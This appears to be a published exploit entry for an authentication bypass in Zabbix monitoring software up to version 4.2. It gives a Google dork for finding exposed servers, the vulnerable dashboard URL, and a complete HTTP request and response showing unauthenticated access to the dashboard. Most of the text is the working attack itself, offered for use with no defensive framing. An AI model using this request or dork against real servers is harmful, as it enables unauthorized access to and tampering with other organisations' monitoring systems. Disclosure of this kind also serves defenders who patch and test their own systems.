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# Exploit Title: Zabbix 4.2 - Authentication Bypass  
# Date: 2019-10-06  
# Exploit Author: Milad Khoshdel  
# Software Link: https://www.zabbix.com/download  
# Version: Zabbix [2.x , 3.x , 4.x] Tested on latest version Zabbix 4.2   
# Tested on: Linux Apache/2 PHP/7.2  
# Google Dork: inurl:zabbix/zabbix.php  
  
  
  
=========  
Vulnerable Page:  
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/zabbix.php?action=dashboard.view&dashboardid=1  
  
  
=========  
POC:  
=========  
  
Attacker can bypass login page and access to dashboard page and create [Dashboard/Report/Screen/Map] without any Username/Password and anonymously.  
All Created elements [Dashboard/Report/Screen/Map] is accessible by other users and admin.  
  
  
REGUEST -->  
  
GET /zabbix.php?action=dashboard.view&dashboardid=1 HTTP/1.1  
Host: [HOST-IP]  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Connection: close  
  
  
RESPONSE -->  
  
HTTP/1.1 200 OK  
Date: Sun, 06 Oct 2019 11:40:18 GMT  
Server: Apache/2.4.29 (Ubuntu)  
Set-Cookie: zbx_sessionid=a8d192ec833bd4476e0f6a550e6e5bed; HttpOnly  
Set-Cookie: PHPSESSID=i2j8kt08m7dp3ojstqeaod9joo; path=/; HttpOnly  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Set-Cookie: PHPSESSID=i2j8kt08m7dp3ojstqeaod9joo; path=/; HttpOnly  
X-Content-Type-Options: nosniff  
X-XSS-Protection: 1; mode=block  
X-Frame-Options: SAMEORIGIN  
Vary: Accept-Encoding  
Content-Length: 19239  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
<!DOCTYPE html>  
<html>  
  
[Dashboard Page Content Will Load Here]  
  
</html>